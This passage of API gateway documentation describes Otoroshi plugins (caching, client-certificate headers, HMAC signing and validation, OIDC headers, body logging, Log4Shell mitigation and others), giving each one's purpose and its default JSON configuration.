using password flow\",\n \"password\" : \"an optional password if using password flow\",\n \"cacheTokenSeconds\" : \"the number of second to wait before asking for a new token\",\n \"tlsConfig\" : \"an optional TLS settings object\"\n}\n\n\n\n### Default configuration\n\n```json\n{\n \"kind\" : \"the oauth2 flow, can be 'client_credentials' or 'password'\",\n \"url\" : \"https://127.0.0.1:8080/oauth/token\",\n \"method\" : \"POST\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Bearer %s\",\n \"jsonPayload\" : false,\n \"clientId\" : \"the client_id\",\n \"clientSecret\" : \"the client_secret\",\n \"scope\" : \"an optional scope\",\n \"audience\" : \"an optional audience\",\n \"user\" : \"an optional username if using password flow\",\n \"password\" : \"an optional password if using password flow\",\n \"cacheTokenSeconds\" : \"the number of second to wait before asking for a new token\",\n \"tlsConfig\" : \"an optional TLS settings object\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.cache.ResponseCache }\n\n## Response Cache\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `ResponseCache`\n\n### Description\n\nThis plugin can cache responses from target services in the otoroshi datasstore\nIt also provides a debug UI at `/.well-known/otoroshi/bodylogger`.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"ResponseCache\": {\n \"enabled\": true, // enabled cache\n \"ttl\": 300000, // store it for some times (5 minutes by default)\n \"maxSize\": 5242880, // max body size (body will be cut after that)\n \"autoClean\": true, // cleanup older keys when all bigger than maxSize\n \"filter\": { // cache only for some status, method and paths\n \"statuses\": [],\n \"methods\": [],\n \"paths\": [],\n \"not\": {\n \"statuses\": [],\n \"methods\": [],\n \"paths\": []\n }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"ResponseCache\" : {\n \"enabled\" : true,\n \"ttl\" : 3600000,\n \"maxSize\" : 52428800,\n \"autoClean\" : true,\n \"filter\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ],\n \"not\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ]\n }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.clientcert.ClientCertChainHeader }\n\n## Client certificate header\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `ClientCertChain`\n\n### Description\n\nThis plugin pass client certificate informations to the target in headers.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"ClientCertChain\": {\n \"pem\": { // send client cert as PEM format in a header\n \"send\": false,\n \"header\": \"X-Client-Cert-Pem\"\n },\n \"dns\": { // send JSON array of DNs in a header\n \"send\": false,\n \"header\": \"X-Client-Cert-DNs\"\n },\n \"chain\": { // send JSON representation of client cert chain in a header\n \"send\": true,\n \"header\": \"X-Client-Cert-Chain\"\n },\n \"claims\": { // pass JSON representation of client cert chain in the otoroshi JWT token\n \"send\": false,\n \"name\": \"clientCertChain\"\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"ClientCertChain\" : {\n \"pem\" : {\n \"send\" : false,\n \"header\" : \"X-Client-Cert-Pem\"\n },\n \"dns\" : {\n \"send\" : false,\n \"header\" : \"X-Client-Cert-DNs\"\n },\n \"chain\" : {\n \"send\" : true,\n \"header\" : \"X-Client-Cert-Chain\"\n },\n \"claims\" : {\n \"send\" : false,\n \"name\" : \"clientCertChain\"\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.defer.DeferPlugin }\n\n## Defer Responses\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `DeferPlugin`\n\n### Description\n\nThis plugin will expect a `X-Defer` header or a `defer` query param and defer the response according to the value in milliseconds.\nThis plugin is some kind of inside joke as one a our customer ask us to make slower apis.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"DeferPlugin\": {\n \"defaultDefer\": 0 // default defer in millis\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"DeferPlugin\" : {\n \"defaultDefer\" : 0\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.discovery.DiscoverySelfRegistrationTransformer }\n\n## Self registration endpoints (service discovery)\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `DiscoverySelfRegistration`\n\n### Description\n\nThis plugin add support for self registration endpoint on a specific service.\n\nThis plugin accepts the following configuration:\n\n\n\n### Default configuration\n\n```json\n{\n \"DiscoverySelfRegistration\" : {\n \"hosts\" : [ ],\n \"targetTemplate\" : { },\n \"registrationTtl\" : 60000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.geoloc.GeolocationInfoEndpoint }\n\n## Geolocation endpoint\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: ``none``\n\n### Description\n\nThis plugin will expose current geolocation informations on the following endpoint.\n\n`/.well-known/otoroshi/plugins/geolocation`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.geoloc.GeolocationInfoHeader }\n\n## Geolocation header\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `GeolocationInfoHeader`\n\n### Description\n\nThis plugin will send informations extracted by the Geolocation details extractor to the target service in a header.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"GeolocationInfoHeader\": {\n \"headerName\": \"X-Geolocation-Info\" // header in which info will be sent\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"GeolocationInfoHeader\" : {\n \"headerName\" : \"X-Geolocation-Info\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.hmac.HMACCallerPlugin }\n\n## HMAC caller plugin\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `HMACCallerPlugin`\n\n### Description\n\nThis plugin can be used to call a \"protected\" api by an HMAC signature. It will adds a signature with the secret configured on the plugin.\n The signature string will always the content of the header list listed in the plugin configuration.\n\n\n\n### Default configuration\n\n```json\n{\n \"HMACCallerPlugin\" : {\n \"secret\" : \"my-defaut-secret\",\n \"algo\" : \"HMAC-SHA512\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.izanami.IzanamiCanary }\n\n## Izanami Canary Campaign\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `IzanamiCanary`\n\n### Description\n\nThis plugin allow you to perform canary testing based on an izanami experiment campaign (A/B test).\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"IzanamiCanary\" : {\n \"experimentId\" : \"foo:bar:qix\",\n \"configId\" : \"foo:bar:qix:config\",\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000,\n \"mtls\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"IzanamiCanary\" : {\n \"experimentId\" : \"foo:bar:qix\",\n \"configId\" : \"foo:bar:qix:config\",\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000,\n \"mtls\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.izanami.IzanamiProxy }\n\n## Izanami APIs Proxy\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `IzanamiProxy`\n\n### Description\n\nThis plugin exposes routes to proxy Izanami configuration and features tree APIs.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"IzanamiProxy\" : {\n \"path\" : \"/api/izanami\",\n \"featurePattern\" : \"*\",\n \"configPattern\" : \"*\",\n \"autoContext\" : false,\n \"featuresEnabled\" : true,\n \"featuresWithContextEnabled\" : true,\n \"configurationEnabled\" : false,\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"IzanamiProxy\" : {\n \"path\" : \"/api/izanami\",\n \"featurePattern\" : \"*\",\n \"configPattern\" : \"*\",\n \"autoContext\" : false,\n \"featuresEnabled\" : true,\n \"featuresWithContextEnabled\" : true,\n \"configurationEnabled\" : false,\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.jq.JqBodyTransformer }\n\n## JQ bodies transformer\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `JqBodyTransformer`\n\n### Description\n\nThis plugin let you transform JSON bodies (in requests and responses) using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\nSome JSON variables are accessible by default :\n\n * `$url`: the request url\n * `$path`: the request path\n * `$domain`: the request domain\n * `$method`: the request method\n * `$headers`: the current request headers (with name in lowercase)\n * `$queryParams`: the current request query params\n * `$otoToken`: the otoroshi protocol token (if one)\n * `$inToken`: the first matched JWT token as is (from verifiers, if one)\n * `$token`: the first matched JWT token as is (from verifiers, if one)\n * `$user`: the current user (if one)\n * `$apikey`: the current apikey (if one)\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"JqBodyTransformer\" : {\n \"request\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n },\n \"response\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"JqBodyTransformer\" : {\n \"request\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n },\n \"response\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.jsoup.HtmlPatcher }\n\n## Html Patcher\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `HtmlPatcher`\n\n### Description\n\nThis plugin can inject elements in html pages (in the body or in the head) returned by the service\n\n\n\n### Default configuration\n\n```json\n{\n \"HtmlPatcher\" : {\n \"appendHead\" : [ ],\n \"appendBody\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.log4j.Log4ShellFilter }\n\n## Log4Shell mitigation plugin\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `Log4ShellFilter`\n\n### Description\n\nThis plugin try to detect Log4Shell attacks in request and block them.\n\nThis plugin can accept the following configuration\n\n```javascript\n{\n \"Log4ShellFilter\": {\n \"status\": 200, // the status send back when an attack expression is found\n \"body\": \"\", // the body send back when an attack expression is found\n \"parseBody\": false // enables request body parsing to find attack expression\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"Log4ShellFilter\" : {\n \"status\" : 200,\n \"body\" : \"\",\n \"parseBody\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.loggers.BodyLogger }\n\n## Body logger\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `BodyLogger`\n\n### Description\n\nThis plugin can log body present in request and response. It can just logs it, store in in the redis store with a ttl and send it to analytics.\nIt also provides a debug UI at `/.well-known/otoroshi/bodylogger`.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"BodyLogger\": {\n \"enabled\": true, // enabled logging\n \"log\": true, // just log it\n \"store\": false, // store bodies in datastore\n \"ttl\": 300000, // store it for some times (5 minutes by default)\n \"sendToAnalytics\": false, // send bodies to analytics\n \"maxSize\": 5242880, // max body size (body will be cut after that)\n \"password\": \"password\", // password for the ui, if none, it's public\n \"filter\": { // log only for some status, method and paths\n \"statuses\": [],\n \"methods\": [],\n \"paths\": [],\n \"not\": {\n \"statuses\": [],\n \"methods\": [],\n \"paths\": []\n }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"BodyLogger\" : {\n \"enabled\" : true,\n \"log\" : true,\n \"store\" : false,\n \"ttl\" : 300000,\n \"sendToAnalytics\" : false,\n \"maxSize\" : 5242880,\n \"password\" : \"password\",\n \"filter\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ],\n \"not\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ]\n }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.mirror.MirroringPlugin }\n\n## Mirroring plugin\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `MirroringPlugin`\n\n### Description\n\nThis plugin will mirror every request to other targets\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"MirroringPlugin\": {\n \"enabled\": true, // enabled mirroring\n \"to\": \"https://foo.bar.dev\", // the url of the service to mirror\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"MirroringPlugin\" : {\n \"enabled\" : true,\n \"to\" : \"https://foo.bar.dev\",\n \"captureResponse\" : false,\n \"generateEvents\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.oauth1.OAuth1CallerPlugin }\n\n## OAuth1 caller\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `OAuth1Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth1.\n Consumer key, secret, and OAuth token et OAuth token secret can be pass through the metadata of an api key\n or via the configuration of this plugin.\n\n\n\n### Default configuration\n\n```json\n{\n \"OAuth1Caller\" : {\n \"algo\" : \"HmacSHA512\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.oidc.OIDCHeaders }\n\n## OIDC headers\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `OIDCHeaders`\n\n### Description\n\nThis plugin injects headers containing tokens and profile from current OIDC provider.\n\n\n\n### Default configuration\n\n```json\n{\n \"OIDCHeaders\" : {\n \"profile\" : {\n \"send\" : true,\n \"headerName\" : \"X-OIDC-User\"\n },\n \"idtoken\" : {\n \"send\" : false,\n \"name\" : \"id_token\",\n \"headerName\" : \"X-OIDC-Id-Token\",\n \"jwt\" : true\n },\n \"accesstoken\" : {\n \"send\" : false,\n \"name\" : \"access_token\",\n \"headerName\" : \"X-OIDC-Access-Token\",\n \"jwt\" : true\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.security.SecurityTxt }\n\n## Security Txt\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `SecurityTxt`\n\n### Description\n\nThis plugin exposes a special route `/.well-known/security.txt` as proposed at [https://securitytxt.org/](https://securitytxt.org/).\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"SecurityTxt\": {\n \"Contact\": \"contact@foo.bar\", // mandatory, a link or e-mail address for people to contact you about security issues\n \"Encryption\": \"http://url-to-public-key\", // optional, a link to a key which security researchers should use to securely talk to you\n \"Acknowledgments\": \"http://url\", // optional, a link to a web page where you say thank you to security researchers who have helped you\n \"Preferred-Languages\": \"en, fr, es\", // optional\n \"Policy\": \"http://url\", // optional, a link to a policy detailing what security researchers should do when searching for or reporting security issues\n \"Hiring\": \"http://url\", // optional, a link to any security-related job openings in your organisation\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"SecurityTxt\" : {\n \"Contact\" : \"contact@foo.bar\",\n \"Encryption\" : \"https://...\",\n \"Acknowledgments\" : \"https://...\",\n \"Preferred-Languages\" : \"en, fr\",\n \"Policy\" : \"https://...\",\n \"Hiring\" : \"https://...\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.static.StaticResponse }\n\n## Static Response\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `StaticResponse`\n\n### Description\n\nThis plugin returns a static response for any request\n\n\n\n### Default configuration\n\n```json\n{\n \"StaticResponse\" : {\n \"status\" : 200,\n \"headers\" : {\n \"Content-Type\" : \"application/json\"\n },\n \"body\" : \"{\\\"message\\\":\\\"hello world!\\\"}\",\n \"bodyBase64\" : null\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.useragent.UserAgentInfoEndpoint }\n\n## User-Agent endpoint\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: ``none``\n\n### Description\n\nThis plugin will expose current user-agent informations on the following endpoint.\n\n`/.well-known/otoroshi/plugins/user-agent`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.useragent.UserAgentInfoHeader }\n\n## User-Agent header\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `UserAgentInfoHeader`\n\n### Description\n\nThis plugin will sent informations extracted by the User-Agent details extractor to the target service in a header.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"UserAgentInfoHeader\": {\n \"headerName\": \"X-User-Agent-Info\" // header in which info will be sent\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"UserAgentInfoHeader\" : {\n \"headerName\" : \"X-User-Agent-Info\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.workflow.WorkflowEndpoint }\n\n## [DEPRECATED] Workflow endpoint\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `WorkflowEndpoint`\n\n### Description\n\nThis plugin runs a workflow and return the response\n\n\n\n### Default configuration\n\n```json\n{\n \"WorkflowEndpoint\" : {\n \"workflow\" : { }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.biscuit.BiscuitValidator }\n\n## Biscuit token validator\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: ``none``\n\n### Description\n\nThis plugin validates a Biscuit token.\n\n\n\n### Default configuration\n\n```json\n{\n \"publicKey\" : \"xxxxxx\",\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"enforce\" : false,\n \"extractor\" : {\n \"type\" : \"header\",\n \"name\" : \"Authorization\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertMatchingApikeyValidator }\n\n## Client Certificate + Api Key only\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: ``none``\n\n### Description\n\nCheck if a client certificate is present in the request and that the apikey used matches the client certificate.\nYou can set the client cert. DN in an apikey metadata named `allowed-client-cert-dn`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertMatchingHttpValidator }\n\n## Client certificate matching (over http)\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HasClientCertMatchingHttpValidator`\n\n### Description\n\nCheck if client certificate matches the following configuration\n\nexpected response from http service is\n\n```json\n{\n \"serialNumbers\": [], // allowed certificated serial numbers\n \"subjectDNs\": [], // allowed certificated DNs\n \"issuerDNs\": [], // allowed certificated issuer DNs\n \"regexSubjectDNs\": [], // allowed certificated DNs matching regex\n \"regexIssuerDNs\": [], // allowed certificated issuer DNs matching regex\n}\n```\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"HasClientCertMatchingValidator\": {\n \"url\": \"...\", // url for the call\n \"headers\": {}, // http header for the call\n \"ttl\": 600000, // cache ttl,\n \"mtlsConfig\": {\n \"certId\": \"xxxxx\",\n \"mtls\": false,\n \"loose\": false\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"HasClientCertMatchingHttpValidator\" : {\n \"url\" : \"http://foo.bar\",\n \"ttl\" : 600000,\n \"headers\" : { },\n \"mtlsConfig\" : {\n \"certId\" : \"...\",\n \"mtls\" : false,\n \"loose\" : false\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertMatchingValidator }\n\n## Client certificate matching\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HasClientCertMatchingValidator`\n\n### Description\n\nCheck if client certificate matches the following configuration\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"HasClientCertMatchingValidator\": {\n \"serialNumbers\": [], // allowed certificated serial numbers\n \"subjectDNs\": [], // allowed certificated DNs\n \"issuerDNs\": [], // allowed certificated issuer DNs\n \"regexSubjectDNs\": [], // allowed certificated DNs matching regex\n \"regexIssuerDNs\": [], // allowed certificated issuer DNs matching regex\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"HasClientCertMatchingValidator\" : {\n \"serialNumbers\" : [ ],\n \"subjectDNs\" : [ ],\n \"issuerDNs\" : [ ],\n \"regexSubjectDNs\" : [ ],\n \"regexIssuerDNs\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertValidator }\n\n## Client Certificate Only\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: ``none``\n\n### Description\n\nCheck if a client certificate is present in the request\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.hmac.HMACValidator }\n\n## HMAC access validator\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HMACAccessValidator`\n\n### Description\n\nThis plugin can be used to check if a HMAC signature is present and valid in Authorization header.\n\n\n\n### Default configuration\n\n```json\n{\n \"HMACAccessValidator\" : {\n \"secret\" : \"\"\n }\n}\n```\n\n\n\n### Documentation\n\n\n The HMAC signature needs to be set on the `Authorization` or `Proxy-Authorization` header.\n The format of this header should be : `hmac algorithm=\"\", headers=\"
\", signature=\"\"`\n As example, a simple nodeJS call with the expected header\n ```js\n const crypto = require('crypto');\n const fetch = require('node-fetch');\n\n const date = new Date()\n const secret = \"my-secret\" // equal to the api key secret by default\n\n const algo = \"sha512\"\n const signature = crypto.createHmac(algo, secret)\n .update(date.getTime().toString())\n .digest('base64');\n\n fetch('http://myservice.oto.tools:9999/api/test', {\n headers: {\n \"Otoroshi-Client-Id\": \"my-id\",\n \"Otoroshi-Client-Secret\": \"my-secret\",\n \"Date\": date.getTime().toString(),\n \"Authorization\": `hmac algorithm=\"hmac-${algo}\", headers=\"Date\", signature=\"${signature}\"`,\n \"Accept\": \"application/json\"\n }\n })\n .then(r => r.json())\n .then(console.log)\n ```\n In this example, we have an Otoroshi service deployed on http://myservice.oto.tools:9999/api/test, protected by api keys.\n The secret used is the secret of the api key (by default, but you can change it and define a secret on the plugin configuration).\n We send the base64 encoded date of the day, signed by the secret, in the Authorization header. We specify the headers signed and the type of algorithm used.\n You can sign more than one header but you have to list them in the headers fields (each one separate by a space, example : headers=\"Date KeyId\").\n The algorithm used can be HMAC-SHA1, HMAC-SHA256, HMAC-SHA384 or HMAC-SHA512.\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.oidc.OIDCAccessTokenValidator }\n\n## OIDC access_token validator\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `OIDCAccessTokenValidator`\n\n### Description\n\nThis plugin will use the third party apikey configuration and apply it while keeping the apikey mecanism of otoroshi.\nUse it to combine apikey validation and OIDC access_token validation.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"OIDCAccessTokenValidator\": {\n \"enabled\": true,\n \"atLeastOne\": false,\n // config is optional and can be either an object config or an array of objects\n \"config\": {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n}\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"OIDCAccessTokenValidator\" : {\n \"enabled\" : true,\n \"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.quotas.ServiceQuotas }\n\n## Public quotas\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `ServiceQuotas`\n\n### Description\n\nThis plugin will enforce public quotas on the current service\n\n\n\n\n\n\n\n### Default configuration\n\n```json\n{\n \"ServiceQuotas\" : {\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.users.HasAllowedUsersValidator }\n\n## Allowed users only\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HasAllowedUsersValidator`\n\n### Description\n\nThis plugin only let allowed users pass\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"HasAllowedUsersValidator\": {\n \"usernames\": [], // allowed usernames\n \"emails\": [], // allowed user email addresses\n \"emailDomains\": [], // allowed user email domains\n \"metadataMatch\": [], // json path expressions to match against user metadata. passes if one match\n \"metadataNotMatch\": [], // json path expressions to match against user metadata. passes if none match\n \"profileMatch\": [], // json path expressions to match against user profile. passes if one match\n \"profileNotMatch\": [], // json path expressions to match against user profile. passes if none match\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"HasAllowedUsersValidator\" : {\n \"usernames\" : [ ],\n \"emails\" : [ ],\n \"emailDomains\" : [ ],\n \"metadataMatch\" : [ ],\n \"metadataNotMatch\" : [ ],\n \"profileMatch\" : [ ],\n \"profileNotMatch\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.apikeys.ApikeyAuthModule }\n\n## Apikey auth module\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `ApikeyAuthModule`\n\n### Description\n\nThis plugin adds basic auth on service where credentials are valid apikeys on the current service.\n\n\n\n### Default configuration\n\n```json\n{\n \"ApikeyAuthModule\" : {\n \"realm\" : \"apikey-auth-module-realm\",\n \"noneTagIn\" : [ ],\n \"oneTagIn\" : [ ],\n \"allTagsIn\" : [ ],\n \"noneMetaIn\" : [ ],\n \"oneMetaIn\" : [ ],\n \"allMetaIn\" : [ ],\n \"noneMetaKeysIn\" : [ ],\n \"oneMetaKeyIn\" : [ ],\n \"allMetaKeysIn\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.apikeys.CertificateAsApikey }\n\n## Client certificate as apikey\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `CertificateAsApikey`\n\n### Description\n\nThis plugin uses client certificate as an apikey. The apikey will be stored for classic apikey usage\n\n\n\n### Default configuration\n\n```json\n{\n \"CertificateAsApikey\" : {\n \"readOnly\" : false,\n \"allowClientIdOnly\" : false,\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"constrainedServicesOnly\" : false,\n \"tags\" : [ ],\n \"metadata\" : { }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.apikeys.ClientCredentialFlowExtractor }\n\n## Client Credential Flow ApiKey extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: ``none``\n\n### Description\n\nThis plugin can extract an apikey 